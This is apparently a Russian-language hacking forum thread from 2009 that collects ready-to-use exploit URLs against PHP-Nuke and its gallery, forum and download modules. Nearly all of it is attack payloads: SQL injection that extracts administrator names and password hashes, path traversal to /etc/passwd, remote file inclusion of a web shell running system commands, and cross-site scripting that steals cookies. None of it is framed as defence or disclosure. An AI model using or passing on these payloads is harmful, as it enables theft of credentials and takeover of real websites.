author=aa',(select concat(aid,0x3a,pwd) from nuke_authors limit 0,1),Существующий_ID)/*
в результате получим aid:hash админа

OptimaPrime · 3 Jan 2009

В модулях:

Code:

http://site/modules.php?name=Search&type=comments&query=not123 exists&instory=/**/UNION/**/SELECT/**/0,0,pwd,0,aid/**/FROM/**/nuke_authors
http://www.strona.pl/modules.php?name=Search&file=../../../../../../ ../../../etc/passwd%008

Code:

http://site/modules.php?name=Search&file=../Forums/viewtopic&phpEx=../../../../../../etc/passwd

Code:

http://site/modules.php?name=Private_Messages&file=index&folde r=inbox&mode=read&p=1&user=eDpmb28nIFVOSU9OIFNFTEV DVCAyLG51bGwsMSwxLG51bGwvKjox

Code:

http://site/modules.php?name=Web_Links&l_op=viewlink&cid=2%20U NION%20select%20counter,%20pwd,%20aid%20FROM%20nuk e_authors%20--

Code:

http://site/modules.php?name=Reviews&rop=savecomment&id=1&amp; amp;uname=f00bar&score=999999999999999999999999

Code:

http://site/modules.php?name=Downloads&d_op=viewdownload&cid=2%20UNION%20select%20counter,%20aid,%20pwd%20FROM%2 0nuke_authors%20--

Code:

http://site/modules.php?name=Downloads&d_op=viewsdownload&sid=-1/**/UNION/**/SELECT/**/0,0,aid,pwd,0,0,0,0,0,0,0,0/**/FROM/**/nuke_authors/**/WHERE/**/radminsuper=1/**/LIMIT/**/1/*

В галерии:

Code:

http://site/modules/My_eGallery/public/displayCategory.php?basepath=yourshell.txt?&cmd=un ame -a;id;pwd

Code:

http://site/modules/4nAlbum/public/displayCategory.php?basepath=yourshell.txt?&cmd=un ame -a;id;pwd

Code:

http://site/modules/coppermine/upload.php?basepath=yourshell.txt?&cmd=uname%20-a;id;pwd

Code:

http://site/modules/coppermine/themes/default/theme.php?THEME_DIR=yourshell.txt?&cmd=uname -a;id;pwd

Code:

http://site/modules/coppermine/include/init.inc.php?CPG_M_DIR=yourshell.txt?&cmd=uname -a;id;pwd

Code:

http://site/modules/coppermine/themes/maze/theme.php?THEME_DIR=yourshell.txt?&cmd=uname -a;id;pwd

Code:

http://site/modules/coppermine/themes/coppercop/theme.php?THEME_DIR=yourshell.txt?&cmd=uname -a;id;pwd

Code:

http://site/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=yourshell.txt?&c md=uname%20-a;id

OptimaPrime · 3 Jan 2009

Инклуды:

Code:

http://www.site.com/modules/Forums/admin/index.php?phpbb_root_path=shell?
http://www.site.com/modules/Forums/admin/admin_ug_auth.php?phpbb_root_path=shell?
http://www.site.com/modules/Forums/admin/admin_board.php?phpbb_root_path=shell?
http://www.site.com/modules/Forums/admin/admin_disallow.php?phpbb_root_path=shell?
http://www.site.com/modules/Forums/admin/admin_forumauth.php?phpbb_root_path=shell?
http://www.site.com/modules/Forums/admin/admin_groups.php?phpbb_root_path=shell?
http://www.site.com/modules/Forums/admin/admin_ranks.php?phpbb_root_path=shell?
http://www.site.com/modules/Forums/admin/admin_styles.php?phpbb_root_path=shell?
http://www.site.com/modules/Forums/admin/admin_user_ban.php?phpbb_root_path=shell?
http://www.site.com/modules/Forums/admin/admin_words.php?phpbb_root_path=shell?
http://www.site.com/modules/Forums/admin/admin_avatar.php?phpbb_root_path=shell?
http://www.site.com/modules/Forums/admin/admin_db_utilities.php?phpbb_root_path=shell?
http://www.site.com/modules/Forums/admin/admin_forum_prune.php?phpbb_root_path=shell?
http://www.site.com/modules/Forums/admin/admin_forums.php?phpbb_root_path=shell?
http://www.site.com/modules/Forums/admin/admin_mass_email.php?phpbb_root_path=shell?
http://www.site.com/modules/Forums/admin/admin_smilies.php?phpbb_root_path=shell?
http://www.site.com/modules/Forums/admin/admin_ug_auth.php?phpbb_root_path=shell?
http://www.site.com/modules/Forums/admin/admin_users.php?phpbb_root_path=shell?

[underwater] · 23 Jul 2009

XSS

Версии:

Code:

PHP-Nuke 7.3
 PHP-Nuke 7.2
 PHP-Nuke 7.1
 PHP-Nuke 7.0 FINAL
 PHP-Nuke 7.0
 PHP-Nuke 6.9
 PHP-Nuke 6.7
 PHP-Nuke 6.6
 PHP-Nuke 6.5 RC3
 PHP-Nuke 6.5 RC2
 PHP-Nuke 6.5 RC1
 PHP-Nuke 6.5 FINAL
 PHP-Nuke 6.5 BETA 1
 PHP-Nuke 6.5
 PHP-Nuke 6.0

Code:

http://www.example.com/modules.php?name=News&file=article&sid=1&optionbox=[xsscode here]
http://www.example.com/modules.php?name=Statistics&op=DailyStats&year=2004&month=5&date=[xss
code here]
http://www.example.com/modules.php?name=Stories_Archive&sa=show_month&year=[xss
code here]&month=05&month_l=May
http://www.example.com/modules.php?name=Stories_Archive&sa=show_month&year=2004&month=[xss
code here]&month_l=May
http://www.example.com/modules.php?name=Stories_Archive&sa=show_month&year=2004&month=05&month_l=[xss
code here]
http://www.example.com/modules.php?name=Surveys&file=comments&op=Reply&pid=1&pollID=1&mode=[xss
code here]&order=0&thold=0
http://www.example.com/modules.php?name=Surveys&file=comments&op=Reply&pid=1&pollID=1&mode=thread&order=[xss
code here]&thold=0
http://www.example.com/modules.php?name=Surveys&file=comments&op=Reply&pid=1&pollID=1&mode=thread&order=&thold=[xss
code here]
http://www.example.com/index.php?foo=bar%20union%20select%20<script>alert(document.cookie);</script>

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